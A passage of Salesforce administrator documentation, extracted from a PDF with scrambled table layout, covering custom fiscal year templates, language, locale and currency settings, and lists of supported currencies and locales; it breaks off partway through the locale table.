13 Periods per Year, 4 Weeks per Period Choose one of these templates if your fiscal year has more than 12 periods and if one quarter is longer than the other quarters. These templates all have 4 quarters per year, 13 periods per year, 3 or 4 periods per quarter, 53 weeks per year, and 4 weeks per period (5 weeks in the final period). Weeks generally have 7 days, but will include a short week at the end of a year. The most common customization for this type of template is to create or change the length of a short week. 3-3-3-4 Quarter 1 has 3 periods, quarter 2 has 3 periods, quarter 3 has 3 periods, and quarter 4 has 4 periods 3-3-4-3 Quarter 1 has 3 periods, quarter 2 has 3 periods, quarter 3 has 4 periods, and quarter 4 has 3 periods 3-4-3-3 Quarter 1 has 3 periods, quarter 2 has 4 periods, quarter 3 has 3 periods, and quarter 4 has 3 periods 4-3-3-3 Quarter 1 has 4 periods, quarter 2 has 3 periods, quarter 3 has 3 periods, and quarter 4 has 3 periods Gregorian Calendar 12 months/year, standard Gregorian calendar. Unlike the other template styles, you cannot do advanced customization of a fiscal year that has been created from a Gregorian calendar template. You should only use this template if you want to create a fiscal year that follows the Gregorian calendar. This template mimics the functionality of standard fiscal years.

See Also:
Defining a Custom Fiscal Year About Fiscal Years

Defining a Custom Fiscal Year


Available in: All Editions except for Database.com.

User Permissions Needed To view fiscal year: To change your fiscal year: View Setup and Configuration Customize Application

Before defining a custom fiscal year, enable custom fiscal years for your organization. See Enabling Custom Fiscal Years on page 397 for more information. Enabling custom fiscal years does not automatically define them. You must define all of your company's custom fiscal years so that they fit your company's calendar.

404

Company Information

Defining a Custom Fiscal Year

If you have defined a custom fiscal year and you need to change it, you can edit the existing fiscal year definition. Custom fiscal years cannot be deleted. Instead of deleting an existing fiscal year, edit it until it meets your needs. Before defining or editing any custom fiscal years, be aware of its impact on forecasting, reports, and other objects by reviewing About Fiscal Years on page 398.

Defining a New Custom Fiscal Year


To define a new custom fiscal year: 1. Click Your Name > Setup > Company Profile > Fiscal Year. 2. Click New. The Custom Fiscal Year template dialog opens. 3. Choose a template and click Continue to close the Custom Fiscal Year template dialog. For more information on the templates, see Choosing a Custom Fiscal Year Template on page 403. 4. Set the fiscal year start date, the fiscal year name, and choose the week start day. You can also add a description for the fiscal year. Note: If this is the first custom fiscal year you have defined, the Fiscal Year Start Date and the Week Start Date are set to today's date and day of week. If you have already defined a custom fiscal year, they will be set to the day after the last end date of your custom fiscal years. If you need to make changes other than the start date, year name, or week start day, see Customizing the Fiscal Year Structure on page 399. 5. Optionally, review the fiscal year definition by clicking on Preview. If it is correct, close the preview and click Save to save your fiscal year, or Save & New to save your fiscal year and define another fiscal year.

Editing a Custom Fiscal Year


To edit an existing custom fiscal year definition: 1. 2. 3. 4. Click Your Name > Setup > Company Profile > Fiscal Year. Click a defined fiscal year name to review the details. Close the fiscal year preview to continue. Click Edit for the fiscal year you want to edit. Change the Fiscal Year Start Date, the Fiscal Year Name, Description, or Week Start Day. If changing the Fiscal Year Start Date causes this fiscal year to overlap with the previous fiscal year, or if it creates a gap between the fiscal years, the end date of the previous fiscal year will be changed to the day before the start of this fiscal year. If changing the end date will cause this fiscal year to overlap the next fiscal year, or if it creates a gap between the fiscal years, the start date of the next fiscal year will be changed to the day after the end of this fiscal year. Note: You cannot change the start or end date of a fiscal year that causes it to overlap with a fiscal year that is defined using a Gregorian year template. Warning: If you change the start or end date of any quarter, period, or week, all forecast data (including quotas, forecast history, and forecast overrides) that are within that date range, and all forecasts for date ranges automatically adjusted as a result of that change, will be lost. This includes end or start date changes resulting from inserting or deleting periods. 5. Click Preview.

405

Company Information

Understanding Language, Locale, and Currency

6. Review the fiscal year definition. If it is correct, close the preview and click Save to save your fiscal year. If you need to make more detailed edits, see Customizing the Fiscal Year Structure on page 399. Note: Unless you specify them, the fiscal year period labels for forecasting and reporting will be set by the default label values for the fiscal year periods. If you would like to change them, see Customizing the Fiscal Year Labels on page 401.

See Also:
Setting the Fiscal Year Choosing a Custom Fiscal Year Template Additional Options for Updating Picklists About Fiscal Years

Understanding Language, Locale, and Currency


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view company information: To change company information View Setup and Configuration Customize Application

The available personal setup options vary according to which Salesforce Edition you have.

The Salesforce settings for language, locale, time zone, and currency can affect how objects (Accounts, Leads, Opportunities, etc.) are displayed. In a single currency organization, the Salesforce administrators set the currency locale, default language, default locale, and default time zone for their organizations and the users can set their individual language, locale, and time zone. In a multiple currency organization, the Salesforce administrators set the corporate currency, default language, default locale, and default time zone for their organizations and the users can set their individual currency, language, locale, and time zone. Note: Single language organizations cannot change their language, although they can change their locale.

Setting
Currency

Who can edit the setting User in a multiple currency organization

How to edit the setting Go to Your Name > Setup > My Personal Information > Personal Information > Edit and select a currency from the activated currencies drop-down list.

Description and effects of the setting Users default currency for quotas, forecasts, and reports. Shown only in organizations using multiple currencies. This must be one of the active currencies for the organization.

406

Company Information

Understanding Language, Locale, and Currency

Setting
Corporate Currency

Who can edit the setting

How to edit the setting

Description and effects of the setting The currency in which the organization's corporate headquarters reports revenue. Serves as the basis for all currency conversion rates. Only for organizations that use multiple currencies.

Administrator in a multiple Go to Your Name > Setup currency organization > Company Profile > Manage Currencies > Change Corporate and select a currency from the
New Corporate Currency drop-down list.

To add a currency, click New, select a currency from the supported currency drop-down list, enter a conversion rate, enter the number of decimal places you want, and click Save or Save & New to add another currency.
Currency Locale

Administrator in a single currency organization

Go to Your Name > Setup > Company Profile > Company Information > Edit and select a currency from the supported currency drop-down list. Not editable

The country or geographic region in which the organization is located. The setting affects the format of currency amounts. For single currency organizations only. User's default currency setting for new records. Available only for organizations that use multiple currencies. This setting also determines the language in which all customizationssuch as custom fields, tabs, and user interface optionsare stored. For customizations, individual users' language settings do not override this setting. The default country or geographic region that is selected for new users in the organization. This setting determines the format of dates, times, and names in

Default Currency ISO Not editable Code

Default Language

Administrator

Go to Your Name > Setup > Company Profile > Company Information > Edit and select a language from the supported language drop-down list.

Default Locale

Administrator

Go to Your Name > Setup > Company Profile > Company Information > Edit and select a locale from the supported locale drop-down list.

407

Company Information

Understanding Language, Locale, and Currency

Setting

Who can edit the setting

How to edit the setting Note: Locale names with a country in parentheses also set a default currency

Description and effects of the setting Salesforce. In Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Edition organizations, individual users can set their personal locale, which overrides the organization setting. In Group Edition, this field is called Locale. Primary time zone in which the organization is located. A user's individual Time Zone setting overrides the organization's Default Time Zone setting. Note: Organizations in Arizona should select Mountain Standard Time, and organizations in parts of Indiana that do not follow Daylight Savings Time should select Eastern Standard Time. The default currency for all currency amount fields in the user record. Available only for organizations that use multiple currencies. The primary language for the user. All text and online help is displayed in this language. In Professional, Enterprise, and Unlimited Edition organizations, a users individual Language setting overrides the organizations Default Language. Not available in Personal Edition, Contact Manager, or Group Edition. The organizations Display Language applies to all users.

Default Time Zone

Administrator

Go to Your Name > Setup > Company Profile > Company Information > Edit and select a time zone from the supported time zone drop-down list.

Information Currency Not editable

Not editable

Language

User

Go to Your Name > Setup > My Personal Information > Personal Information > Edit and select a language from the supported language drop-down list.

408

Company Information

Understanding Language, Locale, and Currency

Setting
Locale

Who can edit the setting User

How to edit the setting Go to Your Name > Setup > My Personal Information > Personal Information > Edit and select a locale from the supported locale drop-down list.

Description and effects of the setting Country or geographic region in which user is located.

The Locale setting affects the format of date, date/time, and number fields, and the calendar. For example, dates in the English Note: Locale names (United States) locale display as 06/30/2000 and as 30/06/2000 in with a country in parentheses also set the English (United Kingdom) locale. Times in the English a default currency (United States) locale display using a twelve-hour clock with AM and PM (for example, 2:00 PM), whereas in the English (United Kingdom) locale, they display using a twenty-four-hour clock (for example, 14:00). The Locale setting also affects the first and last name order on Name fields for users, leads, and contacts. For example, Bob Johnson in the English (United States) locale displays as Bob Johnson, whereas the Chinese (China) locale displays the name as Johnson Bob. For Personal Edition users, the locale is set at the organization level via Your Name > Setup > Company Profile > Company Information. For all other users, their personal locale, available at Your Name > Setup > My Personal Information > Personal Information, overrides the organization setting.

Time Zone

User

Go to Your Name > Setup > My Personal Information > Personal Information > Edit and select a time zone from the supported time zone drop-down list.

Primary time zone in which user works. Users in Arizona should select the setting with America/Phoenix, and users in parts of Indiana that do not follow Daylight Savings

409

Company Information

Supported Currencies

Setting

Who can edit the setting

How to edit the setting

Description and effects of the setting Time should select the setting with America/Indianapolis.

See Also:
About Company Information

Supported Currencies
Available in: Group, Professional, Enterprise, Unlimited, Database.com and Developer Editions

User Permissions Needed To view company information: To change company information: View Setup and Configuration Customize Application

The available personal setup options vary according to which Salesforce Edition you have.

Salesforce supported currencies: Currency Name Afghanistan Afghani Albanian Lek Algerian Dinar Angola Kwanza Argentine Peso Armenian Dram Aruba Florin Australian Dollar Azerbaijanian Manat Bahamian Dollar Bahraini Dinar Bangladesh Taka Barbados Dollar Currency Code AFN ALL DZD AOA ARS AMD AWG AUD AZN BSD BHD BDT BBD

410

Company Information

Supported Currencies

Currency Name Belarussian Ruble Belize Dollar Bermuda Dollar Bhutan Ngultrum Bolivia Mvdol Bolivian Boliviano Botswana Pula Brazilian Real British Pound Brunei Dollar Bulgaria Lev Burundi Franc Cambodia Riel Canadian Dollar Cape Verde Escudo Cayman Islands Dollar CFA Franc (BCEAO) CFA Franc (BEAC) Chilean Peso Chinese Renminbi Chinese Yuan Colombian Peso Comoros Franc Convertible Marks Costa Rica Colon Croatian Kuna Cuban Peso Czech Koruna Danish Krone Dijibouti Franc Dominican Peso

Currency Code BYR BZD BMD BTN BOV BOB BWP BRL GBP BND BGN BIF KHR CAD CVE KYD XOF XAF CLP CN CNY COP KMF BAM CRC HRK CUP CZK DKK DJF DOP

411

Company Information

Supported Currencies

Currency Name East Caribbean Dollar Egyptian Pound Eritrea Nakfa Estonian Kroon Ethiopian Birr Euro Falkland Islands Pound Fiji Dollar Franc Congolais Gambian Dalasi Georgia Lari Ghanian Cedi Gibraltar Pound Guatemala Quetzal Guinea Franc Guyana Dollar Haiti Gourde Honduras Lempira Hong Kong Dollar Hungarian Forint Iceland Krona Indian Rupee Indonesian Rupiah Iranian Rial Iraqi Dinar Israeli Shekel Jamaican Dollar Japanese Yen Jordanian Dinar Kazakhstan Tenge Kenyan Shilling

Currency Code XCD EGP ERN EEK ETB EUR FKP FJD CDF GMD GEL GHS GIP GTQ GNF GYD HTG HNL HKD HUF ISK INR IDR IRR IQD ILS JMD JPY JOD KZT KES

412

Company Information

Supported Currencies

Currency Name Korean Won Kuwaiti Dinar Kyrgyzstan Som Lao Kip Latvian Lat Lebanese Pound Lesotho Loti Liberian Dollar Libyan Dinar Lithuanian Lita Macau Pataca Macedonian Denar Malagasy Ariary Malawi Kwacha Malaysian Ringgit Maldives Rufiyaa Mauritania Ougulya Mauritius Rupee Mexican Peso Mexican Unidad de Inversion (UDI) Moldovan Leu Mongolian Tugrik Moroccan Dirham Mozambique Metical Myanmar Kyat Namibian Dollar Nepalese Rupee Neth Antilles Guilder New Zealand Dollar Nicaragua Cordoba Nigerian Naira

Currency Code KRW KWD KGS LAK LVL LBP LSL LRD LYD LTL MOP MKD MGA MWK MYR MVR MRO MUR MXN MXV MDL MNT MAD MZN MMK NAD NPR ANG NZD NIO NGN

413

Company Information

Supported Currencies

Currency Name North Korean Won Norwegian Krone Omani Rial Pacific Franc Pakistani Rupee Panama Balboa Papua New Guinea Kina Paraguayan Guarani Peruvian Nuevo Sol Philippine Peso Polish Zloty Qatar Rial Romanian Leu Russian Rouble Rwanda Franc Samoa Tala Sao Tome Dobra Saudi Arabian Riyal Serbian Dinar Seychelles Rupee Sierra Leone Leone Singapore Dollar Solomon Islands Dollar Somali Shilling South African Rand Sri Lanka Rupee St Helena Pound Sudanese Pound Surinam Dollar Swaziland Lilageni Swedish Krona

Currency Code KPW NOK OMR XPF PKR PAB PGK PYG PEN PHP PLN QAR RON RUB RWF WST STD SAR RSD SCR SLL SGD SBD SOS ZAR LKR SHP SDG SRD SZL SEK

414

Company Information

Supported Currencies

Currency Name Swiss Franc Syrian Pound Taiwan Dollar Tajik Ruble Tanzanian Shilling Thai Baht Tonga Pa'anga Trinidad&Tobago Dollar Tunisian Dinar Turkish Lira Turkmenistan Manat U.S. Dollar UAE Dirham Ugandan Shilling Ukraine Hryvnia Unidades de fomento Uruguayan New Peso Uzbekistan Sum Vanuatu Vatu Venezuelan Bolivar Fuerte Vietnam Dong Yemen Riyal Zambian Kwacha Zimbabwe Dollar

Currency Code CHF SYP TWD TJS TZS THB TOP TTD TND TRY TMT USD AED UGX UAH CLF UYU UZS VUV VEF VND YER ZMK ZWD

See Also:
Understanding Language, Locale, and Currency

415

Company Information

Supported Locales

Supported Locales
Available in: Group, Professional, Enterprise, Unlimited, Database.com and Developer Editions

User Permissions Needed To view company information: To change company information: View Setup and Configuration Customize Application

The available personal setup options vary according to which Salesforce Edition you have.

The Salesforce locale settings determine the following display formats: Date and time Users names Addresses Commas and periods in numbers

Locale names with a country in parentheses also set a default currency. Name Arabic Code ar Default currency Date and time format 02/01/2008 04:30 PM Time format Number format 06:00 1,234.56 Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country Arabic ar_AE (United Arab Emirates) UAE Dirham: 02/01/2008 AED 04:30 PM 06:00 1,234.56 Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country Arabic (Bahrain) ar_BH Bahraini Dinar: BHD 02/01/2008 04:30 PM 06:00 1,234.56 Ms. FName LName Address Line 1, Address Line 2

416

Company Information

Supported Locales

Name

Code

Default currency

Date and time format

Time format Number format

Name format Address format City, State ZipCode Country

Arabic (Egypt)

ar_EG

Egyptian Pound EGP

02/01/2008 04:30 PM

06:00

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Arabic (Jordan)

ar_JO

Jordanian Dinar: JOD

02/01/2008 04:30 PM

06:00

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Arabic (Kuwait)

ar_KW

Kuwaiti 02/01/2008 Dinar: KWD 04:30 PM

06:00

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Arabic (Lebanon)

ar_LB

Lebanese Pound: LBP

02/01/2008 04:30 PM

06:00

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Arabic (Saudi ar_SA Arabia)

Saudi Arabian 02/01/2008 Riyal: SAR 04:30 PM

06:00

1,234.56

Ms. FName LName

Address Line 1, Address Line 2

417

Company Information

Supported Locales

Name

Code

Default currency

Date and time format

Time format Number format

Name format Address format City, State ZipCode Country

Bulgarian

bg

2008-1-2 16:30

6:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Bulgarian (Bulgaria)

bg_BG

Bulgaria Lev: 2008-1-2 BGN 16:30

6:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Catalan

ca

02/01/2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Catalan (Spain)

ca_ES

Euro: EUR

02/01/2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Czech

cs

2.1.2008 16:30

6:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2

418

Company Information

Supported Locales

Name

Code

Default currency

Date and time format

Time format Number format

Name format Address format City, State ZipCode Country

Czech (Czech cs_CZ Republic)

Czech 2.1.2008 Koruna: CZK 16:30

6:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Danish

da

02-01-2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Danish (Denmark)

da_DK

Danish 02-01-2008 Krone: DKK 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

German

de

02.01.2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 ZipCode City State Country

German (Austria)

de_AT

Euro: EUR

02.01.2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 ZipCode City

419

Company Information

Supported Locales

Name

Code

Default currency

Date and time format

Time format Number format

Name format Address format State Country

German de_CH (Switzerland)

Swiss Franc: CHF

02.01.2008 16:30

06:00

1'234.56

Ms. FName LName

Address Line 1, Address Line 2 ZipCode City State Country

German (Germany)

de_DE

Euro: EUR

02.01.2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 ZipCode City State Country

German de_LU (Luxembourg)

Euro: EUR

02.01.2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 ZipCode City State Country

Greek

el

2/1/2008 4:30 6:00 PM

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Greek (Greece)

el_GR

Greek Drachma: EUR

2/1/2008 4:30 6:00 PM

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

420

Company Information

Supported Locales

Name English (Australia)

Code en_AU

Default currency

Date and time format

Time format Number format 6:00 AM 1,234.56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Australian 2/01/2008 Dollar: AUD 4:30 PM

English (Barbados)

en_BB

Barbados 1/2/2008 4:30 6:00 AM Dollar: BBD PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

English (Bermuda)

en_BM

Bermuda 1/2/2008 4:30 6:00 AM Dollar: BMD PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

English (Canada)

en_CA

Canadian 02/01/2008 Dollar: CAD 4:30 PM

6:00 AM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

English (United Kingdom)

en_GB

British 02/01/2008 Pound: GBP 16:30

06:00

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

421

Company Information

Supported Locales

Name English (Ghana)

Code en_GH

Default currency

Date and time format

Time format Number format 1,234.56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Ghanian Cedi 1/2/2008 4:30 6:00 AM (New): GHS PM

English (Indonesia)

en_ID

Indonesian 1/2/2008 4:30 6:00 AM Rupiah: IDR PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

English (Ireland)

en_IE

Euro: EUR

02/01/2008 16:30

06:00

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

English (India)

en_IN

Indian rupee: 2/1/2008 4:30 6:00 AM INR PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

English (Malaysia)

en_MY

Malaysian Dollar (Ringgit): MYR

1/2/2008 4:30 6:00 AM PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

422

Company Information

Supported Locales

Name English (Nigeria)

Code en_NG

Default currency Nigerian Naira: NGN

Date and time format

Time format Number format 1,234.56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

1/2/2008 4:30 6:00 AM PM

English (New en_NZ Zealand)

New Zealand 2/01/2008 Dollar: NZD 4:30 PM

6:00 AM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

English (Philippines)

en_PH

Philippines Peso: PHP

1/2/2008 4:30 6:00 AM PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

English (Singapore)

en_SG

Singapore 1/2/2008 4:30 6:00 AM Dollar: SGD PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

English (United States)

en_US

U.S. Dollar: USD

1/2/2008 4:30 6:00 AM PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

423

Company Information

Supported Locales

Name

Code

Default currency

Date and time format

Time format Number format 6:00 AM 1,234.56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

English en_ZA (South Africa)

South African 2008/01/02 Rand: ZAR 4:30 PM

Spanish

es

2/01/2008 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Argentina)

es_AR

Argentine Peso: ARS

02/01/2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Bolivia)

es_BO

Bolivian Boliviano: BOB

02-01-2008 04:30 PM

06:00 AM

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Chile)

es_CL

Chilean Peso: 02-01-2008 CLP 04:30 PM

06:00 AM

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

424

Company Information

Supported Locales

Name Spanish (Colombia)

Code es_CO

Default currency Colombian Peso: COP

Date and time format 2/01/2008 04:30 PM

Time format Number format 06:00 AM 1.234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Costa Rica)

es_CR

Costa Rica 02/01/2008 Colon: CRC 04:30 PM

06:00 AM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Dominican Republic)

es_DO

Dominican Republic Peso: DOP

01/02/2008 04:30 PM

06:00 AM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Ecuador)

es_EC

CFA Franc (BEAC): XAF

02/01/2008 04:30 PM

06:00 AM

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Spain)

es_ES

Euro: EUR

2/01/2008 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

425

Company Information

Supported Locales

Name Spanish (Guatemala)

Code es_GT

Default currency Guatemala Quetzal: GTQ

Date and time format 2/01/2008 04:30 PM

Time format Number format 06:00 AM 1,234.56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Honduras)

es_HN

Honduras Lempira: HNL

01-02-2008 04:30 PM

06:00 AM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Mexico)

es_MX

Mexican 2/01/2008 Unidad de 04:30 PM Inversion (UDI): MXV

06:00 AM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Panama)

es_PA

Panama 01/02/2008 Balboa: PAB 04:30 PM US Dollar: USD

06:00 AM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Peru)

es_PE

Peruvian Nuevo Sol: PEN

02/01/2008 04:30 PM

06:00 AM

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

426

Company Information

Supported Locales

Name

Code

Default currency U.S. Dollar: USD

Date and time format 01-02-2008 04:30 PM

Time format Number format 06:00 AM 1,234.56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Spanish es_PR (Puerto Rico)

Spanish (Paraguay)

es_PY

Paraguayan Guarani: PYG

02/01/2008 04:30 PM

06:00 AM

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (El Salvador)

es_SVUS

U.S. Dollar: USD

01-02-2008 04:30 PM

06:00 AM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Uruguay)

es_UY

Uruguayan New Peso: UYU

02/01/2008 04:30 PM

06:00 AM

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Spanish (Venezuela)

es_VE

Venezuelan Bolivar Fuerte: VEF

02/01/2008 04:30 PM

06:00 AM

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

427

Company Information

Supported Locales

Name Estonian (Estonia)

Code et_EE

Default currency Estonian Kroon: EEK

Date and time format 2.01.2008 16:30

Time format Number format 6:00 1 234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Finnish

fi

2.1.2008 16:30

6:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Finnish (Finland)

fi_FI

Euro: EUR

2.1.2008 16:30

6:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

French

fr

02/01/2008 16:30

06:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

French (Belgium)

fr_BE

Euro: EUR

2/01/2008 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

428

Company Information

Supported Locales

Name French (Canada)

Code fr_CA

Default currency

Date and time format

Time format Number format 06:00 1 234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Canadian 2008-01-02 Dollar: CAD 16:30

French fr_CH (Switzerland)

Swiss Franc: CHF

02.01.2008 16:30

06:00

1'234.56

Ms. FName LName

Address Line 1, Address Line 2 City Country State ZipCode

French (France)

fr_FR

Euro: EUR

02/01/2008 16:30

06:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

French fr_LU (Luxembourg)

Euro: EUR

02/01/2008 16:30

06:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

French (Monaco)

fr_MC

Moroccan Dirham: MAD

02/01/2008 16:30

06:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

429

Company Information

Supported Locales

Name Croatian (Croatia)

Code hr_HR

Default currency Croatian Kuna: HRK

Date and time format 02.01.2008. 16:30

Time format Number format 06:00 1.234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Hungarian

hu

2008.01.02. 16:30

6:00

1 234,56

LName FName

Address Line 1, Address Line 2 City, State ZipCode Country

Hungarian (Hungary)

hu_HU

Hungarian 2008.01.02. Forint: HUF 16:30

6:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Armenian (Armenia)

hy_AM

Armenian 1/2/2008 4:30 6:00 AM Dram: AMD PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Indonesian

in

2008/01/02 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

430

Company Information

Supported Locales

Name Indonesian (Indonesia)

Code in_ID

Default currency

Date and time format

Time format Number format 6:00 1.234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Indonesian 02/01/2008 Rupiah: IDR 16:30

Icelandic (Iceland)

is_IS

Iceland Krona: ISK

2.1.2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Italian

it

02/01/2008 16.30

6.00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Italian it_CH (Switzerland)

Swiss Franc: CHF

02.01.2008 16:30

06:00

1'234.56

Ms. FName LName

Address Line 1, Address Line 2 City Country State ZipCode

Italian (Italy) it_IT

Euro: EUR

02/01/2008 16.30

6.00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

431

Company Information

Supported Locales

Name Hebrew

Code iw

Default currency

Date and time format 16:30 02/01/2008

Time format Number format 06:00 1,234.56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Hebrew (Israel)

iw_IL

Israeli Shekel: 16:30 ILS 02/01/2008

06:00

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Japanese

ja

2008/01/02 16:30

6:00

1,234.56

LName FName

Country ZipCode State City Address Line 1, Address Line 2

Japanese (Japan)

ja_JP

Japanese Yen: 2008/01/02 JPY 16:30

6:00

1,234.56

LName FName

Country ZipCode State City Address Line 1, Address Line 2

Georgian

ka

1/2/2008 4:30 6:00 AM PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

432

Company Information

Supported Locales

Name Georgian (Georgia)

Code ka_GE

Default currency Georgian Lari: GEL

Date and time format

Time format Number format 1,234.56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

1/2/2008 4:30 6:00 AM PM

Kazakh kk_KZ (Kazakhstan)

Kazakhstan Tenge: KZT

1/2/2008 4:30 6:00 AM PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Khmer (Cambodia)

km_KH

Cambodia Riel: KHR

1/2/2008 4:30 6:00 AM PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Korean

ko

2008. 1. 2 PM 6:00 4:30

1,234.56

LName FName

Country ZipCode State City Address Line 1, Address Line 2

Korean ko_KR (South Korea)

Korean Won: 2008. 1. 2 PM 6:00 KRW 4:30

1,234.56

LName FName

Country ZipCode State City Address Line 1, Address Line 2

433

Company Information

Supported Locales

Name Lithuanian (Lithuania)

Code lt_LT

Default currency Lithuanian Lita: LTL

Date and time format 2008.1.2 16.30

Time format Number format 06.00 1 234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Latvian (Latvia)

lv_LV

Latvian Lat: LVL

2008.2.1 16:30

06:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Malay (Malaysia)

ms_MY

Malaysian 02/01/2008 Ringgit: MYR 4:30 PM

6:00 AM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Dutch

nl

2-1-2008 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Dutch (Belgium)

nl_BE

Euro: EUR

2/01/2008 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

434

Company Information

Supported Locales

Name

Code

Default currency Euro: EUR

Date and time format 2-1-2008 16:30

Time format Number format 6:00 1.234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Dutch nl_NL (Netherlands)

Dutch (Suriname)

nl_SR

